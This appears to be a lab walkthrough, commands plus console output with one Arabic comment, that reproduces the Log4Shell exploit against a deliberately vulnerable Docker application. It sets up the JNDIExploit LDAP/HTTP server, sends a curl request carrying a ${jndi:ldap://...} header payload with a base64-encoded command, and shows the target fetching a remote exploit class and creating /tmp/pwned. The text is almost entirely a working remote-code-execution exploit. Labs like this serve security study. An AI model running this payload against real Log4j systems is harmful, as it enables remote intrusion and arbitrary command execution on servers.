docker run --name vulnerable-app --rm -p 8080:8080 romanutti/log4shell-vulnerable-app

docker build . -t vulnerable-app
docker run -p 8080:8080 --name vulnerable-app --rm vulnerable-app

git clone https://github.com/romanutti/log4shell-vulnerable-app.git
cd log4shell-vulnerable-app/src/main/resources
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i [your-private-ip] -p 8888

# سينفذ 'touch /tmp/pwned'
curl localhost:8080 -H 'user: ${jndi:ldap://[your-private-ip]:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
[+] Received LDAP Query: Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo
[+] Paylaod: command
[+] Command: touch /tmp/pwned

[+] Sending LDAP ResourceRef result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo redirecting to http://[your-private-ip]:8888/Exploitjkk87OnvOH.class
[+] New HTTP Request From /[your-private-ip]:50119  /Exploitjkk87OnvOH.class
[+] Receive ClassRequest: Exploitjkk87OnvOH.class
[+] Response Code: 200

$ docker exec vulnerable-app ls /tmp

...
pwned
...